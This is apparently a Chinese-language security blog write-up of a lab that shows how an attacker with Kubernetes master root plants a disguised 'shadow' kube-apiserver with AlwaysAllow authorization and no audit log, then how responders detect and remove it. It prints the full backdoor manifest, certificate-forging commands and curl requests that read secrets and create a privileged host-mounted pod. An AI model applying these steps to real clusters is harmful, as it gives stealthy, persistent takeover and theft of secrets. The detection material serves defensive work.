k8s-拿下Master权限后的Shadow API Server 持久化后门排查
Shadow API Server(影子 API 服务器)是更顽固的持久化方式——攻击者在 master 节点上 部署第二个 kube-apiserver 进程,它连接相同的 etcd,但完全绕过 RBAC 鉴权。 即使防御方清空所有 ClusterRoleBinding、轮换所有证书,只要这个进程还在,集群就还是攻击者的。
攻击者(已获取 master root 权限)
│
├─ 1. 读取 /etc/kubernetes/manifests/kube-apiserver.yaml
│ 获取 etcd 连接参数、证书路径、镜像版本
│
├─ 2. 写入恶意 Static Pod Manifest
│ /etc/kubernetes/manifests/kube-scheduler-extender.yaml
│ 关键参数:--authorization-mode=AlwaysAllow --secure-port=6444
│
├─ 3. kubelet 自动拉起 shadow kube-apiserver(端口 6444)
│ 连接相同 etcd,但 --authorization-mode=AlwaysAllow 无视 RBAC
│
├─ 4. 用集群 CA 签发的任意证书连接 6444
│ → 不受 RBAC 约束,全集群读写权限
│
└─ 5. 防御方清空 RBAC / 轮换证书 → 无效
shadow API server 依然存在,kubelet 会自动重启它
实验环境
| 角色 | 规格 | 公网 IP | 内网 IP |
|---|---|---|---|
| master | S5.LARGE8 4C8G Ubuntu 22.04 | 129.xxx.50.247 | 10.0.1.14 |
| worker node | S5.MEDIUM4 2C4G Ubuntu 22.04 | 43.xxx.182.96 | 10.0.1.2 |
| centos-node | S5.MEDIUM4 2C4G CentOS 7.9 | 43.xxx.29.38 | 10.0.1.11 |
- Kubernetes v1.30.14,kubeadm 部署,flannel CNI
- 攻击前提:已通过 Scenario B 的 node 逃逸获得 master root 权限
- 泄露的 kubeconfig:
lab/attack/leaked-kubeconfig.yaml(集群 CA 签发的证书)
Shadow API Server 攻击需要能向 /etc/kubernetes/manifests/ 写文件,即 master 节点 root。
典型的攻击路径:
Scenario : 公网 kubeconfig 泄露 → 创建 hostPath 挂载 / 的特权 Pod → exec 进 Pod,chroot /host → 读取 master 上 /root/.ssh/authorized_keys 或 /etc/kubernetes/pki/ → 横向移动到 master(SSH 密钥复用 / 证书重签)
读取现有 kube-apiserver 配置
攻击者获得 master root 后,第一步是读取合法 kube-apiserver 的静态 Pod 配置, 从中提取 etcd 连接参数和证书路径:
# 在 master 节点上(模拟已 ssh 进入) cat /etc/kubernetes/manifests/kube-apiserver.yaml
关注以下参数(之后原样复用):
--etcd-servers=https://127.0.0.1:2379 --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key --tls-cert-file=/etc/kubernetes/pki/apiserver.crt --tls-private-key-file=/etc/kubernetes/pki/apiserver.key --client-ca-file=/etc/kubernetes/pki/ca.crt image: registry.k8s.io/kube-apiserver:v1.30.14
植入 Shadow API Server
写入恶意 Static Pod Manifest
Static Pod 是由 kubelet 直接读取 /etc/kubernetes/manifests/ 目录中 YAML 文件启动的 Pod, 不受 kube-scheduler 和 kube-apiserver 管控。只要文件在,kubelet 就会保持 Pod 运行。
攻击者将以下文件写入 master:
# 伪装成合法控制平面组件(system:controller: 风格命名)
cat > /etc/kubernetes/manifests/kube-scheduler-extender.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: kube-scheduler-extender
namespace: kube-system
labels:
component: kube-scheduler-extender
tier: control-plane
spec:
containers:
- name: kube-apiserver
image: registry.k8s.io/kube-apiserver:v1.30.14
imagePullPolicy: IfNotPresent
command:
- kube-apiserver
- --advertise-address=10.0.1.14
- --allow-privileged=true
- --authorization-mode=AlwaysAllow # 核心:完全绕过 RBAC
- --client-ca-file=/etc/kubernetes/pki/ca.crt
- --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt
- --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt
- --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key
- --etcd-servers=https://127.0.0.1:2379
- --secure-port=6444 # 不同端口,避免冲突
- --service-account-issuer=https://kubernetes.default.svc.cluster.local
- --service-account-key-file=/etc/kubernetes/pki/sa.pub
- --service-account-signing-key-file=/etc/kubernetes/pki/sa.key
- --service-cluster-ip-range=10.96.0.0/12
- --tls-cert-file=/etc/kubernetes/pki/apiserver.crt
- --tls-private-key-file=/etc/kubernetes/pki/apiserver.key
# 刻意不配置 --audit-log-path 所有操作无审计记录
resources:
requests:
cpu: 50m
volumeMounts:
- mountPath: /etc/kubernetes/pki
name: k8s-certs
readOnly: true
hostNetwork: true
priority: 2000001000
priorityClassName: system-node-critical
volumes:
- hostPath:
path: /etc/kubernetes/pki
type: DirectoryOrCreate
name: k8s-certs
status: {}
EOF
kubelet 自动拉起 shadow API server
写入文件后约 10-30 秒,kubelet 检测到新 manifest,自动启动容器:
# 验证 shadow API server 已启动
root@VM-1-14-ubuntu:~# ss -tlnp | grep kube-apiserver
LISTEN 0 4096 *:6443 *:* users:(("kube-apiserver",pid=225005,...)) ← 合法 API server
LISTEN 0 4096 *:6444 *:* users:(("kube-apiserver",pid=3626573,...)) ← shadow API server
K8s 1.30 的一个安全机制
如果尝试同时设置 --authorization-mode=AlwaysAllow 和 --anonymous-auth=true, kube-apiserver 会在启动时打印 warning 并自动将 anonymous auth 重置为 false:
W authentication.go:744] AnonymousAuth is not allowed with the AlwaysAllow authorizer.
Resetting AnonymousAuth to false.

这意味着纯匿名访问被阻止,但证书认证仍然有效。 攻击者只需使用集群 CA 签发的任意证书(包括泄露的 kubeconfig 证书)即可通过认证, 而 AlwaysAllow 确保通过认证后获得全部权限,不受 RBAC 约束。
生成零权限测试证书
为了清晰展示 AlwaysAllow 绕过 RBAC 的效果,创建一个完全没有 RBAC 绑定的noauth-test-user 新用户证书:
# 在 master 节点上,用集群 CA 签一张新证书(CN=noauth-test-user,零 RBAC 权限) openssl genrsa -out /tmp/noauth-user.key 2048 openssl req -new -key /tmp/noauth-user.key \ -subj '/CN=noauth-test-user/O=nogroup' \ -out /tmp/noauth-user.csr openssl x509 -req \ -in /tmp/noauth-user.csr \ -CA /etc/kubernetes/pki/ca.crt \ -CAkey /etc/kubernetes/pki/ca.key \ -CAcreateserial \ -out /tmp/noauth-user.crt \ -days 365
验证攻击效果
在开始验证之前,需要区分 Kubernetes 请求处理的两个阶段:
请求到达 API server
│
├─ 第一步:认证(Authentication)— 你是谁?
│ 证书是否由集群 CA 签发?token 是否有效?
│ 失败 → 401 Unauthorized
│
└─ 第二步:鉴权(Authorization)— 你能做什么?
RBAC 中是否有对应的 ClusterRoleBinding?
失败 → 403 Forbidden
- 401 Unauthorized = 身份无法确认,认证失败(连你是谁都不知道)
- 403 Forbidden = 身份确认了,但没有权限(知道你是谁,但不让做)
noauth-test-user 这张证书是用集群 CA 签发的,所以认证始终成功。 两台 API server 的区别只在第二步:主 API server 走 RBAC,shadow API server 走 AlwaysAllow。
主 API server(6443)
curl -sk --cert /tmp/noauth-user.crt --key /tmp/noauth-user.key \ https://127.0.0.1:6443/api/v1/secrets
{
"kind": "Status",
"status": "Failure",
"message": "secrets is forbidden: User \"noauth-test-user\" cannot list resource \"secrets\" in API group \"\" at the cluster scope",
"reason": "Forbidden",
"code": 403
}
注意 message 里写的是 secrets is forbidden: User “noauth-test-user” cannot list—— API server 认出了这个用户(CN=noauth-test-user),只是 RBAC 里没有给他任何权限,所以拒绝。 返回 403 而不是 401,说明认证成功、鉴权失败。
Shadow API server(6444)
curl -sk --cert /tmp/noauth-user.crt --key /tmp/noauth-user.key \ https://127.0.0.1:6444/api/v1/secrets
{
"kind": "SecretList",
"apiVersion": "v1",
"items": [
{
"metadata": {
"name": "bootstrap-token-abcdef",
"namespace": "kube-system"
},
...
}
]
}

同一张证书,同一个用户,区别只是端口从 6443 换成了 6444:
主 API server 6443:认证 → RBAC 查无绑定 → 403 Shadow API 6444:认证 → AlwaysAllow 直接放行 → 返回全部数据
noauth-test-user 在主 API server 上什么都做不了,在 shadow API server 上等同于 cluster-admin。 这就是 --authorization-mode=AlwaysAllow 的本质:所有通过认证的请求,不管是谁,一律授权,RBAC 形同虚设。
通过 shadow API server 创建特权 Pod
# noauth-test-user 在主 API server 完全无法创建任何资源
# 但在 shadow API server 可以创建 hostPID + hostNetwork + privileged 的 Pod
curl -sk --cert /tmp/noauth-user.crt --key /tmp/noauth-user.key \
-X POST https://127.0.0.1:6444/api/v1/namespaces/default/pods \
-H 'Content-Type: application/json' \
-d '{
"apiVersion":"v1","kind":"Pod",
"metadata":{"name":"shadow-pwn"},
"spec":{
"hostPID":true,"hostNetwork":true,
"containers":[{
"name":"pwn","image":"busybox",
"command":["sleep","3600"],
"securityContext":{"privileged":true},
"volumeMounts":[{"name":"host","mountPath":"/host"}]
}],
"volumes":[{"name":"host","hostPath":{"path":"/"}}]
}
}'
kubectl --kubeconfig admin.conf get pod shadow-pwn NAME READY STATUS RESTARTS AGE shadow-pwn 1/1 Running 0 2m
无审计痕迹
通过 shadow API server 执行的所有操作不会出现在主 API server 的 audit.log 中:
# 主 audit.log 完全没有 noauth-test-user 的 POST 请求 grep 'noauth-test-user' /var/log/kubernetes/audit.log
实际输出中只有对 6443 端口发出的失败请求(403), 通过 6444 创建 shadow-pwn 的操作零记录。
唯一的间接痕迹是 kubelet 后续向主 API server 上报 pod 状态:
system:node:centos-node POST /api/v1/namespaces/default/pods/shadow-pwn/status
但 creator 信息已无从追溯。
应急排查
主机侧:进程、参数、端口
在 master 上跑三条命令。先看有几个 apiserver(正常只有 1 个):
pgrep -xc kube-apiserver # 输出 2 就有问题
再逐个看鉴权模式和端口(正常是 Node,RBAC + 6443):
for pid in $(pgrep -x kube-apiserver); do echo "PID $pid:" sudo tr '\0' '\n' < /proc/$pid/cmdline | grep -E 'authorization-mode|secure-port' done
最后看监听端口:
sudo ss -tlnp | grep kube-apiserver
AlwaysAllow + 非 6443 端口就是 shadow apiserver。

两个坑:逐个读 /proc/<pid>/cmdline,别把两个 进程的参数拼一起 grep,否则分不清 AlwaysAllow 是哪个 PID 的;端口按进程名 grep,别按端口段扫, 攻击者用 8443 / 443 就躲过端口段了。
shadow apiserver 必然连同一个 etcd,这条也能坐实有第二个 apiserver(返回两个 PID):
sudo ss -tnp | grep ':2379' | grep kube-apiserver | grep -o 'pid=[0-9]*' | sort -u # pid=225005 # pid=1296775
Static Pod 特有线索
本场景用的是 Static Pod,manifest 目录会多一个文件:
root@VM-1-14-ubuntu:/home/ubuntu# ls -lh /etc/kubernetes/manifests/ total 24K -rw------- 1 root root 2.4K Jun 5 11:29 etcd.yaml -rw------- 1 root root 4.5K Jun 5 18:37 kube-apiserver.yaml -rw------- 1 root root 3.5K Jun 5 11:29 kube-controller-manager.yaml -rw-r--r-- 1 root root 1.5K Jul 1 14:27 kube-scheduler-extender.yaml -rw------- 1 root root 1.5K Jun 5 11:29 kube-scheduler.yaml # 合法只有 etcd / kube-apiserver / kube-controller-manager / kube-scheduler
正确的清理方式

要清除别用 kubectl——删掉 mirror pod,kubelet 立刻按磁盘文件重建:
kubectl delete pod -n kube-system kube-scheduler-extender-vm-1-14-ubuntu; sleep 6 kubectl get pod -n kube-system kube-scheduler-extender-vm-1-14-ubuntu # kube-scheduler-extender-vm-1-14-ubuntu 1/1 Running 0 6s ← AGE 归零, 又回来了赞赏
微信赞赏
支付宝赞赏
发表评论